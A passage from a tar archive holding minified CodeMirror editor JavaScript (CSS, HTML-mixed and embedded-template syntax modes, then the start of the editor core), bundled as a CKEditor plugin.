Q(X,Z,Y)}if(X=="word"){K="tag"}else{if(X=="hash"){K="builtin"}}return"at"};C.interpolation=function(X,Z,Y){if(X=="}"){return P(Y)}if(X=="{"||X==";"){return Q(X,Z,Y)}if(X=="word"){K="variable"}else{if(X!="variable"&&X!="("&&X!=")"){K="error"}}return"interpolation"};return{startState:function(X){return{tokenize:null,state:"top",stateArg:null,context:new N("top",X||0,null)}},token:function(Z,Y){if(!Y.tokenize&&Z.eatSpace()){return null}var X=(Y.tokenize||W)(Z,Y);if(X&&typeof X=="object"){A=X[1];X=X[0]}K=X;Y.state=C[Y.state](A,Z,Y);return K},indent:function(ab,Z){var Y=ab.context,aa=Z&&Z.charAt(0);var X=Y.indent;if(Y.type=="prop"&&(aa=="}"||aa==")")){Y=Y.prev}if(Y.prev&&(aa=="}"&&(Y.type=="block"||Y.type=="top"||Y.type=="interpolation"||Y.type=="restricted_atBlock")||aa==")"&&(Y.type=="parens"||Y.type=="atBlock_parens")||aa=="{"&&(Y.type=="at"||Y.type=="atBlock"))){X=Y.indent-M;Y=Y.prev}return X},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});function g(y){var x={};for(var w=0;w<y.length;++w){x[y[w]]=true}return x}var k=["domain","regexp","url","url-prefix"],a=g(k);var b=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],t=g(b);var v=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],i=g(v);var d=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],h=g(d);var m=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],e=g(m);var r=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],f=g(r);var o=["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"],s=g(o);var c=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],l=g(c);var j=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small"],q=g(j);var n=k.concat(b).concat(v).concat(d).concat(m).concat(c).concat(j);p.registerHelper("hintWords","css",n);function u(z,y){var w=false,x;while((x=z.next())!=null){if(w&&x=="/"){y.tokenize=null;break}w=(x=="*")}return["comment","comment"]}p.defineMIME("text/css",{documentTypes:a,mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,fontProperties:f,counterDescriptors:s,colorKeywords:l,valueKeywords:q,tokenHooks:{"/":function(x,w){if(!x.eat("*")){return false}w.tokenize=u;return u(x,w)}},name:"css"});p.defineMIME("text/x-scss",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},":":function(w){if(w.match(/\s*\{/)){return[null,"{"]}return false},"$":function(w){w.match(/^[\w-]+/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"#":function(w){if(!w.eat("{")){return false}return[null,"interpolation"]}},name:"css",helperType:"scss"});p.defineMIME("text/x-less",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},"@":function(w){if(w.eat("{")){return[null,"interpolation"]}if(w.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,false)){return false}w.eatWhile(/[\w\\\-]/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("htmlmixed",function(c,d){var b=a.getMode(c,{name:"xml",htmlMode:true,multilineTagIndentFactor:d.multilineTagIndentFactor,multilineTagIndentPastTag:d.multilineTagIndentPastTag});var n=a.getMode(c,"css");var l=[],k=d&&d.scriptTypes;l.push({matches:/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i,mode:a.getMode(c,"javascript")});if(k){for(var e=0;e<k.length;++e){var j=k[e];l.push({matches:j.matches,mode:j.mode&&a.getMode(c,j.mode)})}}l.push({matches:/./,mode:a.getMode(c,"text/plain")});function f(t,r){var p=r.htmlState.tagName;if(p){p=p.toLowerCase()}var q=b.token(t,r.htmlState);if(p=="script"&&/\btag\b/.test(q)&&t.current()==">"){var u=t.string.slice(Math.max(0,t.pos-100),t.pos).match(/\btype\s*=\s*("[^"]+"|'[^']+'|\S+)[^<]*$/i);u=u?u[1]:"";if(u&&/[\"\']/.test(u.charAt(0))){u=u.slice(1,u.length-1)}for(var o=0;o<l.length;++o){var s=l[o];if(typeof s.matches=="string"?u==s.matches:s.matches.test(u)){if(s.mode){r.token=m;r.localMode=s.mode;r.localState=s.mode.startState&&s.mode.startState(b.indent(r.htmlState,""))}break}}}else{if(p=="style"&&/\btag\b/.test(q)&&t.current()==">"){r.token=g;r.localMode=n;r.localState=n.startState(b.indent(r.htmlState,""))}}return q}function h(r,i,o){var q=r.current();var p=q.search(i);if(p>-1){r.backUp(q.length-p)}else{if(q.match(/<\/?$/)){r.backUp(q.length);if(!r.match(i,false)){r.match(q)}}}return o}function m(o,i){if(o.match(/^<\/\s*script\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*script\s*>/,i.localMode.token(o,i.localState))}function g(o,i){if(o.match(/^<\/\s*style\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*style\s*>/,n.token(o,i.localState))}return{startState:function(){var i=b.startState();return{token:f,localMode:null,localState:null,htmlState:i}},copyState:function(o){if(o.localState){var i=a.copyState(o.localMode,o.localState)}return{token:o.token,localMode:o.localMode,localState:i,htmlState:a.copyState(b,o.htmlState)}},token:function(o,i){return i.token(o,i)},indent:function(o,i){if(!o.localMode||/^\s*<\//.test(i)){return b.indent(o.htmlState,i)}else{if(o.localMode.indent){return o.localMode.indent(o.localState,i)}else{return a.Pass}}},innerMode:function(i){return{state:i.localState||i.htmlState,mode:i.localMode||b}}}},"xml","javascript","css");a.defineMIME("text/html","htmlmixed")});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../../addon/mode/multiplex"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../htmlmixed/htmlmixed","../../addon/mode/multiplex"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("htmlembedded",function(b,c){return a.multiplexingMode(a.getMode(b,"htmlmixed"),{open:c.open||c.scriptStartRegex||"<%",close:c.close||c.scriptEndRegex||"%>",mode:a.getMode(b,c.scriptingModeSpec)})},"htmlmixed");a.defineMIME("application/x-ejs",{name:"htmlembedded",scriptingModeSpec:"javascript"});a.defineMIME("application/x-aspx",{name:"htmlembedded",scriptingModeSpec:"text/x-csharp"});a.defineMIME("application/x-jsp",{name:"htmlembedded",scriptingModeSpec:"text/x-java"});a.defineMIME("application/x-erb",{name:"htmlembedded",scriptingModeSpec:"ruby"})});                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.min.js                        0000705                 00000517122 15242051521 0023521 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(a){if(typeof exports=="object"&&typeof module=="object"){module.exports=a()}else{if(typeof define=="function"&&define.amd){return define([],a)}else{this.CodeMirror=a()}}})(function(){var cp=/gecko\/\d/i.test(navigator.userAgent);var eL=/MSIE \d/.test(navigator.userAgent);var bK=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);var dL=eL||bK;var k=dL&&(eL?document.documentMode||6:bK[1]);var c1=/WebKit\//.test(navigator.userAgent);var dO=c1&&/Qt\/\d+\.\d+/.test(navigator.userAgent);var dd=/Chrome\//.test(navigator.userAgent);var d4=/Opera\//.test(navigator.userAgent);var aC=/Apple Computer/.test(navigator.vendor);var c8=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent);var fv=/PhantomJS/.test(navigator.userAgent);var e2=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent);var eh=e2||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent);var b8=e2||/Mac/.test(navigator.platform);var aP=/win/i.test(navigator.platform);var aZ=d4&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);if(aZ){aZ=Number(aZ[1])}if(aZ&&aZ>=15){d4=false;c1=true}var bR=b8&&(dO||d4&&(aZ==null||aZ<12.11));var ga=cp||(dL&&k>=9);var gd=false,a8=false;function H(gj,gl){if(!(this instanceof H)){return new H(gj,gl)}this.options=gl=gl?aN(gl):{};aN(e4,gl,false);cf(gl);var gp=gl.value;if(typeof gp=="string"){gp=new at(gp,gl.mode)}this.doc=gp;var gk=new H.inputStyles[gl.inputStyle](this);var go=this.display=new eJ(gj,gp,gk);go.wrapper.CodeMirror=this;ed(this);cP(this);if(gl.lineWrapping){this.display.wrapper.className+=" CodeMirror-wrap"}if(gl.autofocus&&!eh){go.input.focus()}aD(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:false,delayingBlurEvent:false,focused:false,suppressEdits:false,pasteIncoming:false,cutIncoming:false,draggingText:false,highlight:new gh(),keySeq:null,specialChars:null};var gi=this;if(dL&&k<11){setTimeout(function(){gi.display.input.reset(true)},20)}fR(this);bk();cJ(this);this.curOp.forceUpdate=true;ec(this,gp);if((gl.autofocus&&!eh)||gi.hasFocus()){setTimeout(cw(cC,this),20)}else{aV(this)}for(var gn in bg){if(bg.hasOwnProperty(gn)){bg[gn](this,gl[gn],cd)}}d6(this);if(gl.finishInit){gl.finishInit(this)}for(var gm=0;gm<a9.length;++gm){a9[gm](this)}am(this);if(c1&&gl.lineWrapping&&getComputedStyle(go.lineDiv).textRendering=="optimizelegibility"){go.lineDiv.style.textRendering="auto"}}function eJ(gi,gk,gj){var gl=this;this.input=gj;gl.scrollbarFiller=f3("div",null,"CodeMirror-scrollbar-filler");gl.scrollbarFiller.setAttribute("cm-not-content","true");gl.gutterFiller=f3("div",null,"CodeMirror-gutter-filler");gl.gutterFiller.setAttribute("cm-not-content","true");gl.lineDiv=f3("div",null,"CodeMirror-code");gl.selectionDiv=f3("div",null,null,"position: relative; z-index: 1");gl.cursorDiv=f3("div",null,"CodeMirror-cursors");gl.measure=f3("div",null,"CodeMirror-measure");gl.lineMeasure=f3("div",null,"CodeMirror-measure");gl.lineSpace=f3("div",[gl.measure,gl.lineMeasure,gl.selectionDiv,gl.cursorDiv,gl.lineDiv],null,"position: relative; outline: none");gl.mover=f3("div",[f3("div",[gl.lineSpace],"CodeMirror-lines")],null,"position: relative");gl.sizer=f3("div",[gl.mover],"CodeMirror-sizer");gl.sizerWidth=null;gl.heightForcer=f3("div",null,null,"position: absolute; height: "+dK+"px; width: 1px;");gl.gutters=f3("div",null,"CodeMirror-gutters");gl.lineGutter=null;gl.scroller=f3("div",[gl.sizer,gl.heightForcer,gl.gutters],"CodeMirror-scroll");gl.scroller.setAttribute("tabIndex","-1");gl.wrapper=f3("div",[gl.scrollbarFiller,gl.gutterFiller,gl.scroller],"CodeMirror");if(dL&&k<8){gl.gutters.style.zIndex=-1;gl.scroller.style.paddingRight=0}if(!c1&&!(cp&&eh)){gl.scroller.draggable=true}if(gi){if(gi.appendChild){gi.appendChild(gl.wrapper)}else{gi(gl.wrapper)}}gl.viewFrom=gl.viewTo=gk.first;gl.reportedViewFrom=gl.reportedViewTo=gk.first;gl.view=[];gl.renderedView=null;gl.externalMeasured=null;gl.viewOffset=0;gl.lastWrapHeight=gl.lastWrapWidth=0;gl.updateLineNumbers=null;gl.nativeBarWidth=gl.barHeight=gl.barWidth=0;gl.scrollbarsClipped=false;gl.lineNumWidth=gl.lineNumInnerWidth=gl.lineNumChars=null;gl.alignWidgets=false;gl.cachedCharWidth=gl.cachedTextHeight=gl.cachedPaddingH=null;gl.maxLine=null;gl.maxLineLength=0;gl.maxLineChanged=false;gl.wheelDX=gl.wheelDY=gl.wheelStartX=gl.wheelStartY=null;gl.shift=false;gl.selForContextMenu=null;gl.activeTouch=null;gj.init(gl)}function bs(gi){gi.doc.mode=H.getMode(gi.options,gi.doc.modeOption);em(gi)}function em(gi){gi.doc.iter(function(gj){if(gj.stateAfter){gj.stateAfter=null}if(gj.styles){gj.styles=null}});gi.doc.frontier=gi.doc.first;eg(gi,100);gi.state.modeGen++;if(gi.curOp){ah(gi)}}function eH(gi){if(gi.options.lineWrapping){fB(gi.display.wrapper,"CodeMirror-wrap");gi.display.sizer.style.minWidth="";gi.display.sizerWidth=null}else{f(gi.display.wrapper,"CodeMirror-wrap");h(gi)}X(gi);ah(gi);ak(gi);setTimeout(function(){eZ(gi)},100)}function bf(gi){var gk=aY(gi.display),gj=gi.options.lineWrapping;var gl=gj&&Math.max(5,gi.display.scroller.clientWidth/dE(gi.display)-3);return function(gn){if(fx(gi.doc,gn)){return 0}var gm=0;if(gn.widgets){for(var go=0;go<gn.widgets.length;go++){if(gn.widgets[go].height){gm+=gn.widgets[go].height}}}if(gj){return gm+(Math.ceil(gn.text.length/gl)||1)*gk}else{return gm+gk}}}function X(gi){var gk=gi.doc,gj=bf(gi);gk.iter(function(gl){var gm=gj(gl);if(gm!=gl.height){f6(gl,gm)}})}function cP(gi){gi.display.wrapper.className=gi.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+gi.options.theme.replace(/(^|\s)\s*/g," cm-s-");ak(gi)}function dx(gi){ed(gi);ah(gi);setTimeout(function(){eF(gi)},20)}function ed(gi){var gj=gi.display.gutters,gn=gi.options.gutters;d2(gj);for(var gk=0;gk<gn.length;++gk){var gl=gn[gk];var gm=gj.appendChild(f3("div",null,"CodeMirror-gutter "+gl));if(gl=="CodeMirror-linenumbers"){gi.display.lineGutter=gm;gm.style.width=(gi.display.lineNumWidth||1)+"px"}}gj.style.display=gk?"":"none";c5(gi)}function c5(gi){var gj=gi.display.gutters.offsetWidth;gi.display.sizer.style.marginLeft=gj+"px"}function eo(gk){if(gk.height==0){return 0}var gj=gk.text.length,gi,gm=gk;while(gi=eP(gm)){var gl=gi.find(0,true);gm=gl.from.line;gj+=gl.from.ch-gl.to.ch}gm=gk;while(gi=ex(gm)){var gl=gi.find(0,true);gj-=gm.text.length-gl.from.ch;gm=gl.to.line;gj+=gm.text.length-gl.to.ch}return gj}function h(gi){var gk=gi.display,gj=gi.doc;gk.maxLine=fg(gj,gj.first);gk.maxLineLength=eo(gk.maxLine);gk.maxLineChanged=true;gj.iter(function(gm){var gl=eo(gm);if(gl>gk.maxLineLength){gk.maxLineLength=gl;gk.maxLine=gm}})}function cf(gi){var gj=di(gi.gutters,"CodeMirror-linenumbers");if(gj==-1&&gi.lineNumbers){gi.gutters=gi.gutters.concat(["CodeMirror-linenumbers"])}else{if(gj>-1&&!gi.lineNumbers){gi.gutters=gi.gutters.slice(0);gi.gutters.splice(gj,1)}}}function dB(gi){var gl=gi.display,gk=gl.gutters.offsetWidth;var gj=Math.round(gi.doc.height+bJ(gi.display));return{clientHeight:gl.scroller.clientHeight,viewHeight:gl.wrapper.clientHeight,scrollWidth:gl.scroller.scrollWidth,clientWidth:gl.scroller.clientWidth,viewWidth:gl.wrapper.clientWidth,barLeft:gi.options.fixedGutter?gk:0,docHeight:gj,scrollHeight:gj+cU(gi)+gl.barHeight,nativeBarWidth:gl.nativeBarWidth,gutterWidth:gk}}function dl(gk,gj,gi){this.cm=gi;var gl=this.vert=f3("div",[f3("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar");var gm=this.horiz=f3("div",[f3("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");gk(gl);gk(gm);bY(gl,"scroll",function(){if(gl.clientHeight){gj(gl.scrollTop,"vertical")}});bY(gm,"scroll",function(){if(gm.clientWidth){gj(gm.scrollLeft,"horizontal")}});this.checkedOverlay=false;if(dL&&k<8){this.horiz.style.minHeight=this.vert.style.minWidth="18px"}}dl.prototype=aN({update:function(gl){var gm=gl.scrollWidth>gl.clientWidth+1;var gk=gl.scrollHeight>gl.clientHeight+1;var gn=gl.nativeBarWidth;if(gk){this.vert.style.display="block";this.vert.style.bottom=gm?gn+"px":"0";var gj=gl.viewHeight-(gm?gn:0);this.vert.firstChild.style.height=Math.max(0,gl.scrollHeight-gl.clientHeight+gj)+"px"}else{this.vert.style.display="";this.vert.firstChild.style.height="0"}if(gm){this.horiz.style.display="block";this.horiz.style.right=gk?gn+"px":"0";this.horiz.style.left=gl.barLeft+"px";var gi=gl.viewWidth-gl.barLeft-(gk?gn:0);this.horiz.firstChild.style.width=(gl.scrollWidth-gl.clientWidth+gi)+"px"}else{this.horiz.style.display="";this.horiz.firstChild.style.width="0"}if(!this.checkedOverlay&&gl.clientHeight>0){if(gn==0){this.overlayHack()}this.checkedOverlay=true}return{right:gk?gn:0,bottom:gm?gn:0}},setScrollLeft:function(gi){if(this.horiz.scrollLeft!=gi){this.horiz.scrollLeft=gi}},setScrollTop:function(gi){if(this.vert.scrollTop!=gi){this.vert.scrollTop=gi}},overlayHack:function(){var gi=b8&&!c8?"12px":"18px";this.horiz.style.minHeight=this.vert.style.minWidth=gi;var gj=this;var gk=function(gl){if(L(gl)!=gj.vert&&L(gl)!=gj.horiz){c3(gj.cm,ev)(gl)}};bY(this.vert,"mousedown",gk);bY(this.horiz,"mousedown",gk)},clear:function(){var gi=this.horiz.parentNode;gi.removeChild(this.horiz);gi.removeChild(this.vert)}},dl.prototype);function e5(){}e5.prototype=aN({update:function(){return{bottom:0,right:0}},setScrollLeft:function(){},setScrollTop:function(){},clear:function(){}},e5.prototype);H.scrollbarModel={"native":dl,"null":e5};function aD(gi){if(gi.display.scrollbars){gi.display.scrollbars.clear();if(gi.display.scrollbars.addClass){f(gi.display.wrapper,gi.display.scrollbars.addClass)}}gi.display.scrollbars=new 